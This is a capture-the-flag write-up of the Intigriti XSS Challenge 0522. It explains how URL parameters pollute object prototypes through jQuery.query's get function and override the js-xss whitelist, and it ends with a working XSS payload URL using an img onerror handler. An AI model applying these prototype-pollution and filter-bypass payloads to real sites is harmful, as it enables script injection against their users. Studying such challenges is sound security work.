Intigriti XSS Challenge 0522

Intigriti XSS Challenge 0522

Challenge author: PiyushThePal
Link: https://challenge-0522.intigriti.io

Reconnaissance

Let's start by getting an overview of the challenge. When we browse the website we see it's all static content and not much interesting is going on. The only parameter we control is the ?page=1 parameter in the URL.

var pl = $.query.get('page');
if(pages[pl] != undefined){
    console.log(pages);
    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
} else {
    document.location.search = "?page=1"
}

At first this code seems secure. The only interesting thing we can find is filterXSS(pages[pl]), we can assume we will have to try and insert XSS into pages[pl] and then we have to bypass the XSS filter.

Let's take a look at the pages array and see if we can insert HTML code somehow.

var pages = {
    1: `HOME
      <h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
    2: `PRODUCTS
      <br>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
      </footer>
      <footer>
        <img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
      </footer>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
        </footer>`,
    3: `CONTACT
      <br><br>
      <b>
        <a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
        <a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
        <a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
        <a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
      </b>
      `,
    4: `
      <div class="dropdown">
        <div id="myDropdown" class="dropdown-content">
          <a href = "?page=1">Home</a>
          <a href = "?page=2">Products</a>
          <a href = "?page=3">Contact</a>
        </div>
      </div>`
};

There is no way to insert content into this object so we're also kind of stuck here. However, it is worth noting that pages is an object, and not an array. Normally an array would've been the better solution so the fact that an object is used is somewhat interesting, although not entirely out of the ordinary.

Now the high level code we've seen has no obvious security issues, so it's time to take a look at the implementations.

<script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
    /**
 * jQuery.query - Query String Modification and Creation for jQuery
 * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
 * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
 * Date: 2009/8/13
 *
 * @author Blair Mitchelmore
 * @version 2.2.3
 *
 **/
 (javascript code here)
 </script>
Library Findings
XSS.js 0.3.3 This seems interesting, taking a look at the version history the package seems outdated and probably has been put in here for a reason. Doing some initial research we find 2 vulnerabilities: ReDoS and Sanetization Bypass.
jQuery 3.5.1 This version was released pretty recently, only 2 years ago. It's pretty normal to use long term stable releases but perhaps there is a vulnerability for this package. Taking a look at the CVE database there are multiple vulnerabilities. But when we take a look at what versions are affected, we can see a couple where jQuery was affected below versions 3.5.0, so we can't find anything about the version we're currently using.
jQuery.query 2.2.3 This plugin seems quite outdated. Doing some reconnaissance we find out that the SET function is vulnerable to prototype pollution.

Finding the vulnerability

During our reconnaissance we found out that jQuery.query's SET function was vulnerable to prototype pollution. When we take a look at our code the SET function never gets called. However, this does indicate that there may be another prototype pollution vulnerability.

var pl = $.query.get('page');

We call the get function of the library, whose code is pasted down below.

GET: function(key) {
    if (!is(key)) return this.keys;
    var parsed = parse(key), base = parsed[0], tokens = parsed[1];
    var target = this.keys[base];
    while (target != null && tokens.length != 0) {
      target = target[tokens.shift()];
    }
    return typeof target == 'number' ? target : target || "";
},
get: function(key) {
    var target = this.GET(key);
    if (is(target, Object))
      return jQuery.extend(true, {}, target);
    else if (is(target, Array))
      return target.slice(0);
    return target;
},

Let's start by analyzing this code. We see that the get function calls the GET function. When we take a look at what the GET function does, it's mostly just parsing all of the data. The next line of the get function calls is(target, Object). The is function is as follows:

var is = function(o, t) {
  return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};

So all this code really does is check if the target is of type Object. So what is considered an object?

is(4, Object) // false
is("hey", Object) // false
is([], Object) // false
is({}, Object) // true
is(new Object, Object) // true

Because the application is expecting a page number and not an object, I believe this could be a possible attack vector. Therefore let's investigate further and see if we can satisfy this condition.

So in order to do that, we somehow need to pass in an object through a GET request. If we google "pass in object get parameter" then we don't get a lot of relevant results. They talk mostly about how to do it through a serialized JSON object. We do not have any deserialization going on so this won't do.

So it's time to experiment a bit. I download the website locally and open up the source code to make some changes. I start by changing the get function and adding some console output;

get: function(key) {
    var target = this.GET(key);
    console.dir("target", target); // added
    console.dir("isobject?", is(target, Object)); // added
    if (is(target, Object)) {
        console.dir("extends", jQuery.extend(true, {}, target)); // added
        return jQuery.extend(true, {}, target);
    } // we needed to add braces
    else if (is(target, Array))
        return target.slice(0);
    return target;
},

Now if we go to the website we can open the console and see the following output:

target <empty string>
isobject? false
target 1
isobject? false

Let's try passing in an array now. So let's go to ?page[]=1&page[]=2 and see what we get.

target Array [ 1, 2 ]
isobject? false
target 1
isobject? false

So it seems like we got redirected because pages[ [1,2] ] is equals to undefined. Let's modify the code to remove the redirection.

var pl = $.query.get('page');
if(pages[pl] != undefined){
    console.log(pages);
    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
} else {
    //document.location.search = "?page=1" // removed
    console.log("Redirection blocked.") // added
}

Now what would happen if we passed in a dictionary instead of an array? Let's visit ?page[a]=1&page[b][c]=2

We have successfully passed in an object and passed the condition. Now let's see if we can pollute the prototype by going to the following URL: ?page[__proto__][a]=1

We have successfully polluted the prototype of all objects. ✨Vulnerability found!✨ So let's try doing some XSS and solving the challenge.

Let's inject some content!

So our goal is to exploit the following piece of code with prototype pollution to insert any HTML code we may want:
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

So let's try seeing what happens if we do the the following url:
?page[__proto__][a]=I am vulnerable!&page=a

Bypassing the XSS filter

We have successfully injected a page in the pages' prototype and then accessed it. However as filterXSS hints, there will be some XSS filtering. So let's just try injecting some HTML and seeing how it gets filtered.
?page[__proto__][a]=<img src%3Dx onerror%3D"alert(document.domain)">&page=a

Let's start by beautifying xss.js and inspecting the FilterXSS function.

function FilterXSS(options) {
    options = shallowCopyObject(options || {});
    if (options.stripIgnoreTag) {
        if (options.onIgnoreTag) {
            console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time')
        }
        options.onIgnoreTag = DEFAULT.onIgnoreTagStripAll
    }
    options.whiteList = options.whiteList || DEFAULT.whiteList;
    options.onTag = options.onTag || DEFAULT.onTag;
    options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
    options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
    options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
    options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
    options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
    this.options = options;
    if (options.css === false) {
        this.cssFilter = false
    } else {
        options.css = options.css || {};
        this.cssFilter = new FilterCSS(options.css)
    }
}

So as we can see there are quite a few options which we can set through prototype pollution. What really piqued my interest is the whiteList property. Let's start by taking a look at what exactly it does.

var retHtml = parseTag(html, function(sourcePosition, position, tag, html, isClosing) {
    var info = {
        sourcePosition: sourcePosition,
        position: position,
        isClosing: isClosing,
        isWhite: tag in whiteList // <--------------- WHITELIST HERE
    };
    var ret = onTag(tag, html, info);
    if (!isNull(ret)) return ret;
    if (info.isWhite) {
        if (info.isClosing) {
            return "</" + tag + ">"
        }
        var attrs = getAttrs(html);
        var whiteAttrList = whiteList[tag]; // <----- WHITELIST HERE
        var attrsHtml = parseAttr(attrs.html, function(name, value) {
            var isWhiteAttr = _.indexOf(whiteAttrList, name) !== -1;
            var ret = onTagAttr(tag, name, value, isWhiteAttr);
            if (!isNull(ret)) return ret;
            if (isWhiteAttr) {
                value = safeAttrValue(tag, name, value, cssFilter);
                if (value) {
                    return name + '="' + value + '"'
                } else {
                    return name
                }
            } else {
                var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
                if (!isNull(ret)) return ret;
                return
            }
        });
        var html = "<" + tag;
        if (attrsHtml) html += " " + attrsHtml;
        if (attrs.closing) html += " /";
        html += ">";
        return html
    } else {
        var ret = onIgnoreTag(tag, html, info);
        if (!isNull(ret)) return ret;
        return escapeHtml(html)
    }
}, escapeHtml);

So interestingly, the img tag does not get filtered, it seems like the default whitelist allows this tag to pass through the XSS filter. However we can inject any tag by adding it to the prototype.

?page[__proto__][script]=1&page[__proto__][a]=<script>alert(document.domain)</script>&page=a

However, scripts don't get execute if they're added with .innerHTML so we need to use a different tag. My goal is to inject the following piece of HTML code: <img src=x onerror="alert(document.domain)">, which will execute if it's added with .innerHTML. But as seen before, all tags get stripped, so let's figure out how to bypass the tag whitelist.

// tag = "img"
var whiteAttrList = whiteList[tag];
var isWhiteAttr = _.indexOf(whiteAttrList, name) !== -1;

So at first this seems like a problem, because Array.indexOf does not check the prototype of an array. However, even though whiteAttrList is presumed to be an array, it does not necessarily need to be. We can turn it into a string, which functions a lot like an array, which is why Array.indexOf(string, needle) will also work.

So let's add src and onerror to the whitelist with the following parameter:
?page[__proto__][whiteList][img]=srconerror

So let's try the previous payload with the bypass prepended.

?page[__proto__][whiteList][img]=srconerror&page[__proto__][a]=<img src%3Dx onerror%3D"alert(document.domain)">&page=a

✨Success!✨

Correction after challenge ended

So at first this seems like a problem, because Array.indexOf does not check the prototype of an array.

I incorrectly assumed whiteList was already set to the default whitelist. This is not the case and the whiteList can be overwritten with prototype injection and therefore it can be an array and doesn't necessarily have to be a string.

Thanks to 0xGodson for this correction.